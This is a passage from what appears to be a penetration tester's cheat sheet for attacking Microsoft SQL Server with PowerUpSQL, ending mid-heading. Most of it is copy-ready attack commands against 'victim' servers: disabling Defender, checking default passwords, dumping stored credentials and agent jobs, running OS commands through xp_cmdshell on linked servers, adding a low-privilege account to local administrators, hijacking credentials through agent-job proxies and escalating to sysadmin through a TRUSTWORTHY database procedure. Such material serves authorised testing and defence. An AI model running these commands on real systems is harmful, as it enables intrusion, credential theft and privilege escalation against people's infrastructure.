Skip to main content

PowerUpSQL.psd1

PowerUpSQL "includes functions that support SQL Server discovery, weak configuration auditing, privilege escalation on scale, and post exploitation actions such as OS command execution."

Disable Defender

Set-MpPreference -DisableRealtimeMonitoring $true

Note: this doesn't seem to work in Windows 11, even after disabling tamper protection. So you might just want to disable active protection in the GUI.

Import the PowerUpSQL module

import-module .\PowerUpSQL.psd1

Run PowerUpSQL - gather all SQL services on the domain

Any servers your account can log into will be saved into a variable called $Targets:

$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 | Where-Object {$_.Status -like "Accessible"}

This command will enumerate all servers you can connect to and save them to a variable called $Targets

Check for default SQL creds if you can't log into anything

If you didn't get any valid SQL logins (your $Targets variable is empty) try checking for default passwords on the SQL services:

Get-SQLInstanceDomain | Invoke-SQLAuditDefaultLoginPw -Verbose

Run a simple SQL query against your victim

get-sqlquery -instance victim.domain.com -query "select @@VERSION"
tip

When you have a SQl instance running on a weird port, encapsulate it in quotes with a comma, like this: get-sqlquery -instance "yermomshaus.7minsec.com,7777"

This is similar syntax for when you connect to a server using Microsoft SQL Server Management Studio! In the Server name box, put some-pwned-server.yerdomain.com,1234

Run an OS command if xp_cmdshell is enabled

get-sqlquery -instance victim.domain.com -query "EXEC xp_cmdshell 'net localgroup Administrators'" -verbose

Get basic info about a SQL server with your "runas" creds

Get-SQLServerInfo -verbose -instance SQL01

This will give you some basic info about the OS, SQL version, what account SQL is running under, and whether or not you're a sysadmin.

Get detailed info about a SQL server with your "runas" creds

If you use Get-SQLDatabaseThreaded you can see a lot more such database names and owners, whether encryption is on, etc.:

Get-SQLDatabaseThreaded -Instance victim.instance.com -NoDefaults | ft -autosize

Source: NETSPI

Run a general SQL audit

Strong recommendation: before running a general audit, setup your PowerUpSQL script to NOT pull Inveigh.ps1 from the Internet. Open up PowerUpSQL.ps1 and do a find for Inveigh.ps1 and you should find it pointing to https://github.com/somefolder/Inveigh.ps1. Change that to http://localhost.ps1 and then serve the file using something like hfs. Once that's set:

invoke-sqlaudit -username sqluser -password sqlpass -instance SOME-SQL-SERVER -verbose

If you've saved creds in the $Targets variable as shown above, you can run an audit against all servers with:

$targets | invoke-sqlaudit -Verbose

And to save just the vulnerabilities from this audit to a text file:

$targets | invoke-sqlaudit -Verbose > vulns.txt

List credentials stored in the instance

get-sqlquery -instance victim.domain.com -query "select * from sys.credentials"

This is a great resource for finding/attacking SQL server links.

get-sqlserverlinkcrawl -username sqluser -password sqlpass -instance SOME-SQL-SERVER | out-gridview

Be sure to use out-gridview because it gives you a pretty PowerShell table to look at which (to me) is easier than a mountain of text.

Select the name and OS version of a linked server

SELECT 
'LINKED-SERVER' AS Hostname,
version
FROM
OPENQUERY("LINKED-SERVER", 'SELECT @@VERSION AS version');

Execute commands via xp_cmdshell on a linked server:

select 1 from openquery("VICTIM-SQL-SERVER",'select 1;exec master..xp_cmdshell ''dir c:''')
tip

If xp_cmdshell fun is working, why not add your low-priv domain account to the local admin group on that linked server?

select 1 from openquery("VICTIM-SQL-SERVER",'select 1;exec master..xp_cmdshell ''net localgroup administrators lowpriv /add''')

Dump contents of agent jobs

According to NETSPI's PowerUpSQL cheat sheet, these jobs can often contain passwords or other sensitive information.

get-sqlagentjob -Verbose -instance SQLSERVER01 | out-gridview

Dump contents of agent jobs specifically using proxy credentials

get-sqlagentjob -instance x.y.z -UsingProxyCredential

Cred hijacking using agent jobs

This comes to us from our pal nullbind on BloodHoundGang Slack. He even made a lab walkthrough if you want to try this out in a test environment first.

Get list of credentials

USE msdb;
GO

SELECT
j.name AS JobName,
s.step_id AS StepID,
s.step_name AS StepName,
c.name AS CredentialName
FROM sysjobs j
JOIN sysjobsteps s ON j.job_id = s.job_id
LEFT JOIN sys.credentials c ON s.proxy_id = c.credential_id
WHERE c.name IS NOT NULL
ORDER BY j.name, s.step_id;

Create a proxy using the credential

USE msdb;
GO

EXEC sp_add_proxy
@proxy_name = N'OSCommandProxy', -- Name of the proxy
@credential_name = N'MyCredential'; -- Name of the existing credential

EXEC sp_grant_proxy_to_subsystem
@proxy_name = N'OSCommandProxy',
@subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem

Create the SQL Server Agent Job configured to use the proxy account

USE msdb;
GO

-- Create the job
EXEC sp_add_job
@job_name = N'WhoAmIJob'; -- Name of the job

-- Add a job step that uses the proxy to execute the whoami command
EXEC sp_add_jobstep
@job_name = N'WhoAmIJob',
@step_name = N'ExecuteWhoAmI',
@subsystem = N'CmdExec', -- Specifies an Operating System command
@command = N'whoami', -- The OS command to execute
@on_success_action = 1, -- 1 = Quit with success
@on_fail_action = 2, -- 2 = Quit with failure
@proxy_name = N'OSCommandProxy'; -- The proxy created earlier

-- Add a schedule to the job (optional, can be manual or scheduled)
EXEC sp_add_jobschedule
@job_name = N'WhoAmIJob',
@name = N'RunOnce',
@freq_type = 1, -- 1 = Once
@active_start_date = 20240820, -- Start date (YYYYMMDD)
@active_start_time = 120000; -- Start time (HHMMSS)

-- Add the job to the SQL Server Agent
EXEC sp_add_jobserver
@job_name = N'WhoAmIJob',
@server_name = N'(LOCAL)'; -- The server where the job will run

Execute the job

EXEC sp_start_job @job_name = N'WhoAmIJob';

Check output/error

EXEC sp_help_jobhistory @job_name= N'WhoAmIJob';

Abuse trustworthy databases

If your PowerUpSQL audit says that one or more logins are designed as "Trustworthy" you might be able to inject a stored procedure into the SQL config that allows you to act as a sysadmin.

Start by firing up something like SQL Server Management Studio and login with the account that PowerUpSQL identified as "trustworthy." Then run the following query (got this from offsec-journey.com, and NETSPI and 0xjs have some awesome info as well):

SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner,  is_trustworthy_on AS TRUSTWORTHY from sys.databases

If you see that your login has Trustworthy set to 1 and database_owner as sysadmin, you may be able to build a stored procedure to run as the "owner" - which in this case is sa/sysadmin. And since this procedure will run as the sa account, it is possible to have the procedure add your lowpriv SQL login to the sysadmin fixed server role.

Execute the following query:

USE TRUSTWORTHY_DATABASE
GO
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'lowpriv', 'sysadmin'
GO

Next, verify you don't have sysadmin access:

select is_srvrolemember('sysadmin')

(The result returned should be 0)

Then fire the stored procedure:

USE TRUSTWORTHY_DATABASE
EXEC sp_elevate_me

Run a check to see if you have sysadmin access again:

select is_srvrolemember('sysadmin')

(The result returned should be 1 this time!)

See if you can fire anything via xp_cmdshell:

EXEC master..xp_cmdshell 'whoami'

If you find xp_cmdshell is disabled, turn it on with this query (tip from mssqltips.com):

-- this turns on advanced options and is needed to configure xp_cmdshell
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
-- this enables xp_cmdshell
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE

Run OS command on SQL server where you have sysadmin

invoke-sqloscmd -instance SQL01 -command "dir c:\users\public" -RawResults

Tip: the -RawResults flag helps you get...you know...raw results. Otherwise sometimes the output of your command will get cut off.

Find sensitive data in